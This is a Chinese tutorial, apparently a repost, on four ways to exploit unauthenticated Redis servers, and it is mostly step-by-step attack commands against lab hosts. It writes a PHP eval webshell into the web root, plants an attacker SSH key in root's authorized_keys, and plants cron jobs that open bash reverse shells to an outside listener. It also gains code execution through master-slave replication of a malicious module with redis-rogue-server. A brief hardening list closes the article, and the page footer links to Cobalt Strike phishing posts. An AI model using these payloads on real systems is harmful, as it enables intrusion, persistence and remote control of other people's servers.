Redis漏洞利用的4种方法

Redis简介

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

默认端口:6379 sentinel.conf配置器端口为:26379

Redis环境安装

官网地址:https://redis.io/

下载地址:http://download.redis.io/releases/

1.Redis-3.2.0安装

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make   #编译安装

image-20210902110417189

2.Redis-4.0.8安装

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

image-20210902110610420

make结束后,进入src目录下,将redis-cli和redis-server拷贝到/usr/bin目录下,这样每次启动时就不需要进入src目录下了。

image-20210917195008872

image-20210917194626641

这里,如果是zsh的话,需要首先在配置文件中添加环境变量:

vi ~/.zshrc
export PATH=/root/Desktop/redis-3.2.0/src:$PATH

image-20210917203828845

然后刷新shell环境,即可使新增的环境变量生效:

source ~/.zshrc

image-20210917203933969

启动redis

redis-server redis.conf

如图所示,此时默认端口为6379,没用密码,这时候会导致未授权访问。

Redis未授权访问

漏洞原理

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

漏洞复现

复现环境:

kali2020(安装有redis3.2.0,192.168.190.128)

kali2021(安装有redis4.0.8,192.168.190.129)

编辑redis配置文件redis.conf:

image-20210917204302265

前面加上#号,去掉IP绑定,允许除本地外的主机登陆redis服务:

image-20210917202521277

修改protected-mode为no,关闭保护模式,允许远程连接redis服务,protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JMBMLsiI-1632050169204)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210917202807793.png)]

重新启动redis。

image-20210917210109871

redis写入webshell

漏洞原理

靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。

漏洞复现

靶机开启web服务,这里开启apache服务:

/etc/init.d/apache2 start

image-20210917211715955

image-20210917212353586

在攻击机上执行下列命令(执行顺序可以打乱):

config set dir /var/www/html/ 
//切换到网站的根目录
config set dbfilename zcc.php
//在磁盘中生成木马文件
set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" 
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save
//将内存中的数据导出到磁盘

image-20210917212404308

此时靶机网站根目录下已经写入该文件:

image-20210917212540623

蚁剑测试:

image-20210917212957499

image-20210917213010190

redis密钥登录ssh

漏洞原理

在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

漏洞复现

利用条件:redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入。

靶机开启ssh服务:

/etc/init.d/ssh start

image-20210917220100126

攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可

ssh-keygen -t rsa

image-20210917220752756

image-20210918101927482

将公钥导入key.txt,这里将密钥开头和结尾添加了一些\n是用于防止乱码;

image-20210918102941088

将生成的公钥写入靶机服务器的内存之中

cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。

image-20210918103301183

可以看见成功写入

image-20210918103346655

设置路径和保存的文件名,将内存变量导入磁盘文件

config set dir /root/.ssh
config set dbfilename authorized_keys
save

image-20210918103823084

这里报错的意思是靶机没有这个文件目录, 原因是.ssh 是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh 文件夹,所以我们在靶机上执行下面这条命令即可(也可以手动创建.ssh目录):

ssh localhost

image-20210918104906124

此时,可成功导入

image-20210918105031113

靶机这边也成功写入

image-20210918105519306

此时,在攻击机这里用ssh连接靶机,可成功连接

ssh -i id_rsa root@192.168.190.128
或者
ssh 192.168.190.128

利用计划任务反弹shell

漏洞原理

利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。

漏洞复现

攻击机开启监听

image-20210918135808193

连接靶机redis,写入反弹shell

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/
config set dbfilename root
save

image-20210918141329370

过一分钟左右可以收到反弹的shell,但是这里需要注意的是,只适用于centos上开启的服务,ubuntu上不行,不过我还是不相信会这么邪门,在网上发现了个文章,关于解决crontab反弹shell失败的,具体解决方法如下:

这里参考了这篇文章:https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/#more

centos的定时任务目录在/var/spool/cron/目录下,kali和ubuntu的定时任务文件在/var/spool/cron/crontabs目录下,因此这里我们重新写入

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

进入靶机计划任务目录查看,已经写入,但是文件权限为644

image-20210918143941891

需要特别注意的一点是这的root文件的权限必须为600,否则会出现

cron[53948]: (root) INSECURE MODE (mode 0600 expected)

因此这里给他改了权限

image-20210918144206737

同时反弹shell的shell环境是bash,而kali中的/bin/sh这个软连接指向了dash

image-20210918143149785

这里修改为bash

image-20210918144321433

不过这种方法kali依旧没有反弹回来。。(这里如果有师傅成功了可以和我说一下方法)

接下来试试第二种方法:

首先将/bin/sh改为dash

ln -s -f dash /bin/sh  

image-20210918145307970

避免在cron文件里去使用bash这个shell,在靶机上去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件,脚本内容为:

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.190.129/1234 0>&1

加个执行权限:

image-20210918145842879

之后计划任务里面的内容改成

* * * * * /tmp/zcc.sh

依旧没有反弹,,好吧,是我菜鸡了,可能确实不行,这里问题先保留如果有师傅有建议,欢迎提出哈

远程主从复制RCE

漏洞原理

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

漏洞复现

redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。

Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

执行反弹

python3 redis-rogue-server.py -rhost 192.168.190.129 -lhost 192.168.190.128

image-20210919171701951

选择交互式的shell(interactive shell) 或者反弹shell(reserve shell),这里选择的是交互式;若是选择反弹的如下:

image-20210919172005267

这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。

本地Redis主从复制RCE反弹shell

漏洞原理

对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机。

漏洞复现

这里将redis-rogue-server-master的exp.so复制到Awsome-Redis-Rogue-Server的目录下使用,因为exp.so带system模块。

image-20210919174339236

kali开启监听,接受会话的反弹

image-20210919183426128

开启15000端口的主服务器

python3 redis_rogue_server.py -v -path exp.so
-v      #冗余模式,仅启动Rouge Server模式

image-20210919183602337

靶机本机登录redis开启主从模式

redis-cli

查看是否存在模块,可以看见目前没有可用模块

config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录

image-20210919184208181

image-20210919184306040

可以看见主服务器上FULLRESYNC全局同步数据中…

module load ./exp.so 
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要看有没有“system”

image-20210919184531213

可以看见加载是成功的。

反弹shell:

system.rev 192.168.190.128 1234

image-20210919184704816

image-20210919184715606

关闭主从模式

slaveof NO ONE

图片

安全防护

redis的安全设置:设置完毕,需要重加载配置文件启动redis

1.绑定内网ip地址进行访问

2.requirepass设置redis密码

3.保护模式开启protected-mode开启(默认开启)

4.最好把端口更改

5.单独为redis设置一个普通账号,启动redis。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358239.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

系统已有MYSQL环境,如何安装宝塔面板

最近一直想搞一个在线博客网站&#xff0c;把代码部署到服务器。 下载己经下载了宝塔的.exe文件,安装提示系统已经存在MYSQL环境&#xff0c;请用纯净系统安装。 因为我以前做java的&#xff0c;已经装了&#xff0c;现在把它卸载即可。 WINR打开注册表输入regedit。 删除HK…

宝塔命令号操作全-最实用的莫过于修改密码啦

连续输入五次密码错误&#xff0c;只能CMD进行操作啦。看上图。

swaks使用教程

Swaks基本用法&#xff1a; 1、swaks --to testqq.com 测试邮箱的连通性&#xff1b; 2、参数说明&#xff08;这里只是简单的罗列了一些&#xff0c;至于更加具体的内容可以使用–help进行查看了解&#xff09;&#xff1a; --from testqq.com //发件人邮箱&#xff1…

电脑win7支持的node.js版本

从官网看了都是最新的版本,我这电脑是win7的,最新版支持最低版本win8.1. 只能找一个支持win7、的node版本。 官网:https://nodejs.org/en/download/ 历史版本:https://nodejs.org/en/download/releases/ 建议打开图标下载,打开链接下载速度特别慢。 下载完成后直接傻瓜式安…

Office-DOC加载宏-上线CS

原理 将直接加载远程带有宏的恶意模版使用。 缺点 目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github)&#xff0c;受害者可能在文件打开一半的时候强制关闭word。优点 因为是远程加载&#xff0c;所以免杀效果十分不错。基本不会…

电子书-CHM-上线CS

电子书-CHM-加载JS&PS-上线CS 1.对CS进行设置 服务端配置CS-客户端打开-攻击-钓鱼攻击-脚本web传递-配置选择监听器-设置端口-选择类型为power shell-点击开始-复制生成的利用代码 2.对当前.CHM电子书进行解压 进入文件后选择任意文件夹进入 3.这里演示&#xff1a;进入…

发布单机端DELPHI程序访问MySQL必备文件

如图: 将你的DELPHI程序和midas.dlllibmysql.dllDbxmys.dll 放在同一目录下即可.转载于:https://www.cnblogs.com/smartlittleant/p/4838327.html

java java se_Java SE 7、8、9 –推动Java前进

java java se今天&#xff08;注&#xff1a;2011年10月4日&#xff09;是主题演讲日。 JavaOne Keynote将于今早从上午8:30到10:30进行&#xff0c;而我的新闻通行证又一次让我很早就参加了。 因此&#xff0c;我有时间在所有关键球员准备就绪并可能感到紧张的同时为其拍摄一些…

利用快捷方式-LNK-上线CS

步骤: 1、生成&#xff1a;Attacks -> Packages -> Html Application 2、上传&#xff1a;Attacks——>Web Drive by——>Host file 3、执行&#xff1a;C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext 4、伪装&#xff1a; -创建快捷方式 -生成HTA并…

基本算法研究1-冒泡排序算法测试

基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图&#xff0c;感觉比较形象&#xff1a; 冒泡排序&#xff08;Bubble Sort&#xff09;是一种简单的排序算法。默认是从小到大排序&#xff0c;即把最大的数据排在最后&#xff0c;相当于每次把最大数据…

CS-证书指纹修改

cobaltstrike.store是cobalt strike的证书文件&#xff0c;CS是java编写的&#xff0c;修改证书需要Java环境&#xff0c;搜索keytool,把证书复制到该目录进行操作&#xff0c;需要cmd以管理员权限才能生成成功。 证书默认密码&#xff1a;123456 查看证书指纹&#xff1a; key…

Java中的低延迟FIX引擎

总览 Chronicle FIX是我们的Low Latency FIX引擎和Java数据库。 是什么使它与众不同&#xff1f; 是为Java中的超低GC *设计的。 支持字符串和日期时间的方式可以最大程度地减少垃圾和开销。 可自定义为仅包含您期望的字段。 使用通常在二进制解析器和生成器中使用的优化&…

钓鱼文件名反转office远程模板

本文内容涉及程序/技术原理可能带有攻击性&#xff0c;仅用于安全研究和教学使用&#xff0c;务必在模拟环境下进行实验&#xff0c;请勿将其用于其他用途。因此造成的后果自行承担&#xff0c;如有违反国家法律则自行承担全部法律责任&#xff0c;与作者及分享者无关 0x01 件…

Cobalt Strike特征修改

在红蓝对抗以及hvv等等情况下&#xff0c;我们都会用到 Cobalt Strike&#xff0c;那么它也是安全公司重点关注的对象&#xff0c;跟msf类似&#xff0c;但CS操作相对比MSF使用简单&#xff0c;同时也有一个强大的插件库。那么&#xff0c;这么红的工具&#xff0c;特征方面安全…

工厂模式与抽象工厂模式

1、工厂模式&#xff1a;定义了一组创建对象的接口&#xff0c;但是由子类决定要实例化的类是哪一个。工厂方法把类的实例化推迟到子类中。 现在考虑有PizzaStore有一些子类&#xff08;加盟店&#xff09;&#xff0c;他们有可能对pizza的做法进行一些改良&#xff0c;即creat…

数据类型转换为false的有哪些?

看图&#xff0c;看选项你就明白啦

CS通过(CDN+证书)powershell上线详细版

0x00 简介 这个应该叫做域前置技术&#xff1a; 大致图示&#xff1a; 攻击流量通过CDN节点将流量转发到真实的C2服务器CDN节点ip通过识别请求的Host头进行流量转可以有效的躲避一些安全设备&#xff0c;也有这一定的反溯源功能&#xff0c;因为流量都去了CDN上 之前看了一些…

红蓝对抗之流量加密(Openssl加密传输、MSF流量加密、CS修改profile进行流量加密)

本篇文章转载于:https://blog.csdn.net/q20010619/article/details/122006433?utm_mediumdistribute.pc_relevant.none-task-blog-2defaultbaidujs_utm_term~default-1-122006433-blog-122810834.pc_relevant_default&spm1001.2101.3001.4242.2&utm_relevant_index4 文…

有var d = new Date(‘20xx-m-09‘),可以设置为m+1月份的操作是?

setMonth(n)&#xff0c;这里是0-11分别对应1-12月 d.setDate(n); n表示一个月中的一天的一个数值&#xff08;1 ~ 31&#xff09;: 0 为上一个月的最后一天 -1 为上一个月最后一天之前的一天 如果当月有 31 天: 32 为下个月的第一天 如果当月有 30 天: 32 为下一个月的第二…

深入理解Java引用类型

深入理解Java引用类型 在Java中类型可分为两大类&#xff1a;值类型与引用类型。值类型就是基本数据类型&#xff08;如int ,double 等&#xff09;&#xff0c;而引用类型,是指除了基本的变量类型之外的所有类型&#xff08;如通过 class 定义的类型&#xff09;。所有的类型在…